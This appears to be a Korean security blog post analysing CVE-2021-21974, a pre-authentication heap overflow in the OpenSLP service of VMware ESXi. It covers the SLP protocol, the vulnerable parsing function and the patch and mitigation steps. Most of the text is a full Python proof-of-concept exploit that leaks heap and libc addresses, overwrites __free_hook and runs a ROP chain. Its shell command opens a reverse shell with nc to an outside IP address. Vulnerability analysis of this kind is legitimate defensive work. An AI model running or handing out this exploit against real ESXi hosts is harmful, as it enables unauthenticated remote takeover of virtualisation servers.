1. ESXi
- 가상 컴퓨터를 배치하고 서비스를 제공할 목적으로 VM웨어가 개발한 엔터프라이즈 계열 타입 1 하이퍼바이저
※ 하이퍼바이저: 단일 물리 머신에서 여러 가상 머신을 실행하고 관리할 수 있도록 해주는 소프트웨어
1.1 OpenSLP (Open Service Location Protocol)
- 클라이언트가 사전 구성 없이 네트워크에서 사용 가능한 서비스를 동적으로 검색할 수 있도록 하는 서비스 검색 프로토콜
- 대부분 UDP를 사용하나, 긴 패킷을 전송할 경우 TCP 또한 사용가능하며, 427 포트를 사용
구성 | 설명 |
User Agents (UA, 사용자 에이전트) |
- 서비스를 검색하는 장치 |
Service Agents (SA, 서비스 에이전트) |
- 하나 이상의 서비스를 알리는 장치 |
Directory Agents (DA, 디렉터리 에이전트) |
- 서비스 정보를 캐시하는 장치 - 트래픽 양을 줄이고 SLP 확장을 허용하기 위해 더 큰 네트워크에서 사용 - 선택 사항이지만 DA가 있는 경우 UA와 SA는 DA를 통해 통신 |
패킷 | 설명 |
서비스 요청 | - UA가 사용하고자 하는 서비스를 네트워크에서 찾기위한 패킷 - 가능한 모든 결과를 얻기 위해 반복적으로 멀티캐스트 전송 - 참고 : https://datatracker.ietf.org/doc/html/rfc2608#section-8.1 |
속성 요청 | - 서비스 요청에 대한 SA의 응답 패킷 - UA가 주어진 서비스 또는 전체 서비스 유형의 속성을 확인하도록 하여 사용 가능한 서비스에 대한 쿼리를 수행 - 참고 : https://datatracker.ietf.org/doc/html/rfc2608#section-10.3 |
서비스 등록 | - SA가 서비스 등록(제공)을 위해 DA에 전송하는 패킷 - 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-8.3 - URL에 대한 정보를 entry로 가짐 - 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-4.3 |
디렉토리 에이전트 알림 | - 전반적인 DA의 상태를 알리기위한 패킷 - 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-8.5 |
2. 취약점
- ESXi에서 사용되고 있는 OpenSLP의 힙 오버플로 취약점을 트리거하여 원격 코드를 실행할 수 있는 취약점
제품명 | 플랫폼 | 영향 받는 버전 |
ESXi | 모든 플랫폼 | 6.5 |
6.7 | ||
7.0 |
힙 영역
- 필요에 의해 동적으로 할당된 변수를 저장하며, 실행 시 크기가 결정됨.
- 메모리의 낮은 주소에서 높은 주소의 방향으로 할당
힙 오버플러
- 메모리 영역 중 힙 데이터 영역에서 발생하는 버퍼 오버플로우
- 프로그램의 함수 포인터를 조작하여 임의의 명령을 실행하는 등의 악성 동작을 수행
※ 스택영역: 지역변수와 매개변수가 저장되며, 함수 호출 시 크기가 결정, 메모리의 높은 주소에서 낮은 주소방향으로 할당
※ 스택 오버플러: 함수의 RET를 조작하여 임의의 명령을 실행하는 등의 악성 동작을 수행
2.1 분석
- OpenSLP는 관리자 권한으로 실행되며, 인증없이 입력값을 수신하고, 문자열 끝을 미지정하는 문제로 인해 힙오버플로우가 발생
- 취약점은 'SLPParseSrvURL' 함수에서 발생
- 해당 함수는 '디렉토리 에이전트 알림' 메시지가 처리될 때 호출됨
undefined4 SLPParseSrvUrl(int param_1,char *param_2,void **param_3)
{
char cVar1;
void **__ptr;
char *pcVar2;
char *pcVar3;
void *pvVar4;
char *pcVar5;
char *__src;
char *local_28;
void **local_24;
if (param_2 == (char *)0x0) {
return 0x16;
}
*param_3 = (void *)0x0;
__ptr = (void **)calloc(1,param_1 + 0x1d); [1]
if (__ptr == (void **)0x0) {
return 0xc;
}
pcVar2 = strstr(param_2,":/"); [2]
if (pcVar2 == (char *)0x0) {
free(__ptr);
return 0x16;
}
pcVar5 = param_2 + param_1;
memcpy((void *)((int)__ptr + 0x15),param_2,(size_t)(pcVar2 + -(int)param_2)); [3]
- [1]: param_1(URL의 길이)에 0x1d(29)를 더하여 calloc함으로써 메모리를 할당받음
- [2]: strstr()를 이용해 param_2(사용자 입력 URL)에서 :/의 위치를 찾아 이후 문자열을 pcVar2에 저장
※ strstr은 검색 문자열을 찾지 못할경우나 null 문자에 도달할 경우 0을 반환
- [3]: memcpy()를 이용해 param_2의 (size_t)(pcVar2 + -(int)param_2)만큼을 (void *)((int)__ptr + 0x15)에 복사
- param_2는 사용자 입력을 통해 받는 값이지만 strstr()를 사용하기 전에 param_2의 끝에 NULL을 추가하지 않음
- 따라서 범위 밖의 문자열을 검사하여 memcpy 부분에서 heap overflow가 발생
- SLP를 통해 RCE를 수행하기 위해 SLP에서 송수신에 사용되는 struct _SLPBuffer의 구조는 다음과 같음
typedef struct _SLPBuffer
{
SLPListItem listitem;
size_t allocated;
unsigned char* start;
unsigned char* curpos;
unsigned char* end;
// buffer data is appended
}*SLPBuffer;
typedef struct _SLPDSocket
{
SLPListItem listitem;
int fd;
time_t age;
int state;
// ...
SLPBuffer recvbuf; /* Incoming socket stuff */
SLPBuffer sendbuf;
// ...
}SLPDSocket;
- VMware의 SLP 코드를 통해 RCE를 트리거하는 과정은 다음과 같음
① 접속상태(connection->state)를 STREAM_WRITE_FIRST로서 덮어씀. 메모리를 leak 하기 위해 sendbuf->curpos를 sendbuf->start로 리셋
② sendbuf->start의 일부분을 2개의 널 바이트로 덮어씀. 연결 후 수신을 기다리면, sendbuf의 주소를 포함한 메모리를 leak 할 수 있음
③ mmap()으로 할당된 recvbuf를 leak 하기 위해 새로운 연결을 하고 sendbuf->curpos를 덮어씀. mmap 된 주소를 통해 libc base 주소를 얻을 수 있음
④ free_hook의 주소를 설정하기 위해 새로운 연결에서 recvbuf->curpos를 덮어씀. 연결 후 전송이 시작되면 free_hook을 덮어쓸 수 있습니다.
⑤ 연결을 종료하면 free_hook을 호출되여 ROP 체인을 시작
ROP(Return-Oreinted-Programming)
- ret영역에 가젯을 이용하여 연속적으로 함수를 호출하며 공격자가 원하는 흐름대로 프로그래밍 하듯 공격
- 총 두가지 과정으로 나뉘어짐
① 공격을 하기위해 필요한 요소들을 구하는 과정
② ①에서 구한 요소들을 가지고 Exploit
2.2 PoC
- 대상 서버에 조작된 SLP 패킷 생성 및 전송하여 힙 오버플로를 유발한 후 임의의 명령을 실행하는 과정으로 판단됨
#!/usr/bin/python3
import sys
import time
import trace
import queue
import struct
import socket
import threading
IP = sys.argv[1]
#shell_cmd = b'echo "pwned" > /tmp/pwn'
shell_cmd = b'mknod /tmp/backpipe p ; /bin/sh 0</tmp/backpipe | nc 192.168.0.194 80 1>/tmp/backpipe'
DEBUG = False
PRINT = True
LOG_LEAK = False
T = 0.3 #0.4
PORT = 427
COMMAND = 'command'
MARKER = b'\xef\xbe\xad\xde'
LISTEN = 0x65
STREAM_READ = 0x6c
STREAM_WRITE = 0x6f
STREAM_READ_FIRST = 0x6d
LISTEN_FD = 0x8
leaked_data = b'\x00\x00\x00\x00'
leaked_values = None
class SLP_Thread(threading.Thread):
def __init__(self, input_q):
super(SLP_Thread, self).__init__()
self.input_q = input_q
def run(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
data = self.input_q.get(True, 0.05)
name = threading.current_thread().name.replace('Thread','SLP Client')
if 'connect' == data[COMMAND]:
if PRINT:
print('[' + name + '] connect')
s.connect((IP, PORT))
elif 'service request' == data[COMMAND]:
arg1 = data['arg1']
outgoing = self.generate_srv_rqst(arg1)
if PRINT:
print('[' + name + '] service request')
s.send(outgoing)
d = s.recv(1024)
if PRINT:
print('[' + name + '] recv: ', d)
elif 'directory agent advertisement' == data[COMMAND]:
arg1 = data['arg1']
arg2 = data['arg2']
outgoing = self.generate_da_advert(arg1, arg2)
if PRINT:
print('[' + name + '] directory agent advertisement')
s.send(outgoing)
d = s.recv(1024)
if PRINT:
print('[' + name + '] recv: ', d)
elif 'service registration' == data[COMMAND]:
arg1 = data['arg1']
arg2 = data['arg2']
arg3 = data['arg3']
arg4 = data['arg4']
outgoing = self.generate_srv_reg(arg1, arg2, arg3, arg4)
if PRINT:
print('[' + name + '] service registration')
s.send(outgoing)
d = s.recv(1024)
if PRINT:
print('[' + name +'] recv: ', d)
elif 'attribute request' == data[COMMAND]:
arg1 = data['arg1']
arg2 = data['arg2']
outgoing = self.generate_attrib_rqst(arg1)
if PRINT:
print('[' + name + '] attribute request')
s.send(outgoing)
output = b''
for i in range(0, arg2):
output += s.recv(1)
if PRINT:
print('[' + name + '] recv: ', output)
elif 'recv' == data[COMMAND]:
output = b''
arg1 = data['arg1']
arg2 = data['arg2']
for i in range(0, arg2):
output += s.recv(1)
if arg1:
print('[' + name + '] recv: ', output)
elif 'leak data' == data[COMMAND]:
outgoing = b''
incoming = b''
arg1 = data['arg1']
if arg1 > 0:
for i in range(0, arg1):
outgoing += s.recv(1)
#print(outgoing.hex())
global leaked_data
leaked_data = outgoing
else:
while True:
incoming = s.recv(1)
outgoing += incoming
if MARKER in outgoing:
break
global leaked_values
leaked_values = []
try:
for i in range(0, len(outgoing), 4):
v = struct.unpack('<I', outgoing[i : i+4])[0]
leaked_values.append(v)
except:
pass
elif 'close' == data[COMMAND]:
if PRINT:
print('[' + name + '] close')
s.close()
break
except queue.Empty:
continue
def generate_slp_header(self, payload, functionid, xid, extoffset):
packetlen = len(payload) + 16
if extoffset:
extoffset += 16
header = bytearray([2, functionid])
header.extend(struct.pack('!IH', packetlen, 0)[1:])
header.extend(struct.pack('!IHH', extoffset, xid, 2)[1:])
header.extend(b'en')
return header
def generate_srv_rqst(self, data):
srvtype = prlist = scopes = predicate = b''
spi = data
payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
payload.extend(struct.pack('!H', len(scopes)) + scopes)
payload.extend(struct.pack('!H', len(predicate)) + predicate)
payload.extend(struct.pack('!H', len(spi)) + spi)
header = self.generate_slp_header(payload, 1, 5, 0)
return header + payload
def generate_da_advert(self, url, scopes):
error_code = 0
boot_time = int(time.time())
attributes = spi = auth_blocks = b''
payload = bytearray(struct.pack('!H', error_code) + struct.pack('!I', boot_time))
payload.extend(struct.pack('!H', len(url)) + url)
payload.extend(struct.pack('!H', len(scopes)) + scopes)
payload.extend(struct.pack('!H', len(attributes)) + attributes)
payload.extend(struct.pack('!H', len(spi)) + spi)
payload.extend(struct.pack('!H', len(auth_blocks)) + auth_blocks)
header = self.generate_slp_header(payload, 8, 0, 0)
return header + payload
def generate_url_entry(self, url):
lifetime = 2 * 60 #seconds
auth_blocks = b''
payload = bytearray([0])
payload.extend(struct.pack('!H', lifetime))
payload.extend(struct.pack('!H', len(url)) + url)
payload.extend(struct.pack('!B', len(auth_blocks)) + auth_blocks)
return payload
def generate_srv_reg(self, url, srvtype, scopes, attributes):
attrib_auth_blocks = b''
url_entry = self.generate_url_entry(url)
payload = bytearray(url_entry)
payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
payload.extend(struct.pack('!H', len(scopes)) + scopes)
payload.extend(struct.pack('!H', len(attributes)) + attributes)
payload.extend(struct.pack('!B', len(attrib_auth_blocks)) + attrib_auth_blocks)
header = self.generate_slp_header(payload, 3, 20, 0)
return header + payload
def generate_attrib_rqst(self, url):
scopes = b'DEFAULT'
prlist = tags = spi = b''
payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
payload.extend(struct.pack('!H', len(url)) + url)
payload.extend(struct.pack('!H', len(scopes)) + scopes)
payload.extend(struct.pack('!H', len(tags)) + tags)
payload.extend(struct.pack('!H', len(spi)) + spi)
header = self.generate_slp_header(payload, 6, 12, 0)
return header + payload
def close():
time.sleep(T)
return {'command' : 'close'}
def connect():
time.sleep(T)
return {'command' : 'connect'}
def service_request(arg1):
time.sleep(T)
return {'command' : 'service request', 'arg1' : arg1}
def da_advert_request(arg1, arg2):
time.sleep(T)
return {'command' : 'directory agent advertisement', 'arg1' : arg1, 'arg2' : arg2}
def service_registration(arg1, arg2):
time.sleep(T)
return {'command' : 'service registration', 'arg1' : b'127.0.0.1', 'arg2' : arg1, 'arg3' : b'default', 'arg4' : arg2}
def attribute_request(arg1, arg2):
time.sleep(T)
return {'command' : 'attribute request', 'arg1' : arg1, 'arg2' : arg2}
def leak_data(arg1 = -1):
time.sleep(T)
return {'command' : 'leak data', 'arg1': arg1}
def overflow_and_extend(size, flag):
arg1 = b'A' * 24
arg2 = b'B' * 13 + struct.pack('<H', size + flag) + b':/' + b'C' * 647
return da_advert_request(arg1, arg2)
def update_target_slpdsocket(fd, size, state):
payload = b'\xd0\x00\x00\x00'
payload += b'\x00' * 8 + b'\xbe\xba\xfe\xca'
payload += struct.pack('<I', fd)
payload += b'\x00' * 4
payload += struct.pack('<I', state)
payload += b'\x00' * 12
payload += b'\x02\x00\x00\x00'
payload += b'\x7f\x00\x00\x01'
payload += b'\x00' * 8
filler = b'A' * (size - 0x76)
return service_request(filler + payload)
def partial_update_target_send_buffer(size, send_buffer_size, flag, data):
payload = struct.pack('<I', send_buffer_size + flag)
payload += b'\x00' * 8
payload += struct.pack('<I', send_buffer_size - 0x20)
payload += data #b'\x00' * 2
filler = b'A' * (size - 0x56)
return service_request(filler + payload)
def update_target_send_buffer(size, send_buffer_size, flag, address, length):
payload = struct.pack('<I', send_buffer_size + flag)
payload += b'\x00' * 8
payload += struct.pack('<I', send_buffer_size - 0x20)
payload += struct.pack('<I', address) * 2
payload += struct.pack('<I', address + length)
payload += b'\x00' * 0x10
filler = b'A' * (size - 0x66)
return service_request(filler + payload)
def update_target_recv_buffer(size, address):
size += 0x1a
payload = b'\x40\x00\x00\x00'
payload += b'\x00' * 8
payload += struct.pack('<I', size)
payload += struct.pack('<I', address - 26) * 2 + struct.pack('<I', address - 26 + size)
filler = b'A' * 0xca
return service_request(filler + payload)
def block(size):
if size > 0x38:
size = size - 0x38
else:
size = 1
return service_request(b'A' * size)
def breakpoint():
time.sleep(T)
input('breakpoint')
def exploit():
count = 60
requests = [0]
slpclients = [0]
global leaked_data
global leaked_values
requests.extend([queue.Queue() for i in range(1, count)])
slpclients.extend([SLP_Thread(input_q = requests[i]) for i in range(1, count)])
for i in range(1, count):
slpclients[i].start()
requests[1].put(connect())
requests[1].put(da_advert_request(b'roflmao://pwning', b'BBB'))
requests[2].put(connect())
requests[3].put(connect())
requests[4].put(connect())
requests[5].put(connect())
requests[2].put(block(0x40))
requests[3].put(block(0x40))
requests[4].put(block(0x40))
requests[5].put(block(0x40))
requests[6].put(connect())
requests[6].put(block(0x810))
requests[7].put(connect())
requests[8].put(connect())
requests[6].put(close())
requests[9].put(connect())
requests[9].put(overflow_and_extend(0x140, 0x1))
fd = 0xc
requests[8].put(update_target_slpdsocket(fd, 0x140, STREAM_READ_FIRST))
requests[7].put(service_registration(b'service:pwn', MARKER + b'B' * (0x3200 - 21 - 4)))
requests[8].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
requests[10].put(connect())
requests[10].put(block(0x70))
requests[11].put(connect())
requests[12].put(connect())
requests[13].put(connect())
requests[11].put(block(0x810))
requests[14].put(connect())
requests[14].put(block(0x160))
requests[12].put(block(0x810))
requests[14].put(close())
requests[15].put(connect())
requests[15].put(attribute_request(b'service:pwn', 0x20))
requests[13].put(block(0x110))
requests[16].put(connect())
requests[17].put(connect())
requests[12].put(close())
requests[18].put(connect())
requests[18].put(overflow_and_extend(0x120, 0x3))
requests[17].put(partial_update_target_send_buffer(0x120, 0x3220, 0x1, b'\x00\x00'))
requests[19].put(connect())
requests[19].put(block(0x178))
requests[11].put(close())
requests[20].put(connect())
requests[20].put(overflow_and_extend(0x140, 0x1))
fd = 0x11
requests[16].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
requests[16].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
requests[21].put(connect())
requests[21].put(block(0x178))
requests[15].put(leak_data())
time.sleep(T + 1.0)
heap_address = 0
libc_base_address = 0
if leaked_values == None:
print("[-] Exploit Failed [-]")
return -1
leaked_values = leaked_values[::-1]
if LOG_LEAK:
for i in leaked_values:
print(hex(i))
if leaked_values[0] == 0xdeadbeef:
heap_address = leaked_values[6] - 0x3220 + 0x4
elif leaked_values[0] == 0xefeb3174:
heap_offset = 0x2b1 if leaked_values[42] == 0x42424242 else 0x5d61
heap_address = leaked_values[14] + heap_offset
libc_leak_location = heap_address - 0x100 + 4
requests[22].put(connect())
requests[22].put(block(0x810))
requests[23].put(connect())
requests[23].put(block(0x100))
requests[24].put(connect())
requests[24].put(block(0x810))
requests[23].put(close())
requests[25].put(connect())
requests[25].put(block(0x698))
requests[27].put(connect())
requests[28].put(connect())
requests[24].put(close())
requests[26].put(connect())
requests[26].put(overflow_and_extend(0x130, 0x1))
requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_leak_location, 0x4))
requests[29].put(connect())
requests[29].put(block(0x178))
requests[22].put(close())
requests[30].put(connect())
requests[30].put(overflow_and_extend(0x140, 0x1))
fd = 0x15
requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
requests[31].put(connect())
requests[31].put(block(0x178))
requests[25].put(leak_data(0x4))
time.sleep(T + 1.0)
libc_base_address = struct.unpack('<I', leaked_data)[0] - 0x193568
libc_ret_offset = 0x0008009c
libc_system_offset = 0x0003e390
libc_environ_offset = 0x00194e20
libc___free_hook_offset = 0x001948d8
libc_ret_address = libc_base_address + libc_ret_offset
libc_system_address = libc_base_address + libc_system_offset
libc_environ_address = libc_base_address + libc_environ_offset
libc___free_hook_address = libc_base_address + libc___free_hook_offset
shell_cmd_address = heap_address + 0x34
gadget_offset = 0x0007fe01 # add esp, 0x100 ; ret
gadget_address = libc_base_address + gadget_offset
requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_environ_address, 0x4))
requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
requests[25].put(leak_data(0x4))
time.sleep(T + 1.0)
stack_environ_address = struct.unpack('<I', leaked_data)[0]
esp_offset = 0xe30 if sys.argv[2] == '1' else 0xe7c
esp_value = stack_environ_address - esp_offset
pivoted_esp_value = esp_value + 0x100
print()
print('[+] libc base address: ', hex(libc_base_address))
print("[+] libc system address: ", hex(libc_system_address))
print("[+] libc environ address: ", hex(libc_environ_address))
print("[+] libc __free_hook address: ", hex(libc___free_hook_address))
print("[+] ret address: ", hex(libc_ret_address))
print("[+] gadget address: ", hex(gadget_address))
print('[+] heap address: ', hex(heap_address))
print("[+] shell command address: ", hex(shell_cmd_address))
print("[+] stack enviorn address: ", hex(stack_environ_address))
print("[+] esp value: ", hex(esp_value))
print("[+] pivoted esp value: ", hex(pivoted_esp_value))
print()
requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
requests[32].put(connect())
requests[32].put(block(0x810))
requests[33].put(connect())
requests[34].put(connect())
requests[34].put(block(0x810))
requests[33].put(block(0x100))
requests[35].put(connect())
requests[36].put(connect())
requests[34].put(close())
requests[37].put(connect())
requests[37].put(overflow_and_extend(0x120, 0x3))
requests[36].put(update_target_recv_buffer(0x4, shell_cmd_address))
requests[38].put(connect())
requests[38].put(block(0x178))
requests[32].put(close())
requests[39].put(connect())
requests[39].put(overflow_and_extend(0x140, 0x1))
requests[35].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
requests[40].put(connect())
requests[40].put(block(0x178))
fd = 0x1a
payload = shell_cmd + b'\x00'
requests[36].put(update_target_recv_buffer(len(payload), shell_cmd_address))
requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
requests[33].put(service_request(payload))
payload = struct.pack('<I', libc_ret_address) * 10 + struct.pack('<I', libc_system_address) + b'\x41' * 4 + struct.pack('<I', shell_cmd_address)
requests[36].put(update_target_recv_buffer(len(payload), pivoted_esp_value - 0x10))
requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
requests[33].put(service_request(payload))
#breakpoint()
payload = b'\x41\x41\x41\x41' if DEBUG == True else struct.pack('<I', gadget_address)
requests[36].put(update_target_recv_buffer(len(payload), libc___free_hook_address))
requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
requests[33].put(service_request(payload))
time.sleep(T + 1.0)
print('[*] exploit deployed')
return 0
def intro():
print(" _____ _____ ___ __ ___ _ ___ _ ___ ____ _ _ ")
print(" / __\ \ / / __|_|_ ) \_ ) |__|_ ) / _ \__ | | | ")
print(" | (__ \ V /| _|___/ / () / /| |___/ /| \_, / / /|_ _| ")
print(" \___| \_/ |___| /___\__/___|_| /___|_|/_/ /_/ |_| ")
print()
print(" PoC Exploit ")
print()
print(" vuln discovered by: Lucas Leong (@_wmliang_) ")
print(" poc by: Johnny Yu (@straight_blast) ")
print(" ")
print()
print(" currently support the following: ")
print(" [1] VMware ESXi 6.7.0 build-14320388 ")
print(" [2] VMware ESXi 6.7.0 build-16316930 ")
print()
if __name__ == '__main__':
intro()
exploit()
3. 대응방안
① 최신 업데이트 적용
※ 참고: https://www.vmware.com/security/advisories/VMSA-2021-0002.html
제품명 | 플랫폼 | 영향 받는 버전 | 패치 버전 |
ESXi | 모든 플랫폼 | 6.5 | ESXi650-202102101-SG |
6.7 | ESXi670-202102401-SG | ||
7.0 | ESXi70U1c-17325551 |
② SLP 서비스 사용 중지
⒜ 명령어 사용
i) ssh로 취약한 ESXi 호스트에 로그인
ii) 아래 명령어로 호스트 SLP 서비스 중지
- /etc/init.d/slpd stop
iii) 재부팅 후에도 비활성화를 유지하려면 아래 명령어를 입력
- chkconfig slpd off
⒝ GUI 사용
i) vCenter에 로그인
ii) ESXi 호스트를 선택하고 'Configure'-'Service' 탭 클릭
iii) 목록에서 SLP 서비스를 선택
* 목록에 SLP가 없다면 명령어로 SLP 서비스를 중지
iv) 알림창의 서비스 중지 버튼('OK')를 클릭
4. 참고
- https://nvd.nist.gov/vuln/detail/CVE-2021-21974
- https://www.vmware.com/security/advisories/VMSA-2021-0002.html
- https://github.com/Shadow0ps/CVE-2021-21974/blob/main/2021-21974-POC.py
- https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9
- https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-cve-2021-21974-pre-auth-remote-code-execution-in-vmware-esxi
- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=3592
- https://koren.kr/kor/Alram/notiView.asp?s=4082
'취약점 > RCE' 카테고리의 다른 글
Fortra GoAnywhere MFT RCE (CVE-2023-0669) (0) | 2023.02.27 |
---|---|
FortiNAC HTTP Request RCE (CVE-2022-39952) (0) | 2023.02.22 |
Oracle WebLogic RCE 역직렬화 취약점 (CVE-2018-2628) (0) | 2023.01.18 |
VMware vCenter Server 원격 코드 실행 취약점 (CVE-2021-21985) (0) | 2023.01.06 |
Zeroshell kerbynet x509type RCE (CVE-2019-12725) (1) | 2023.01.02 |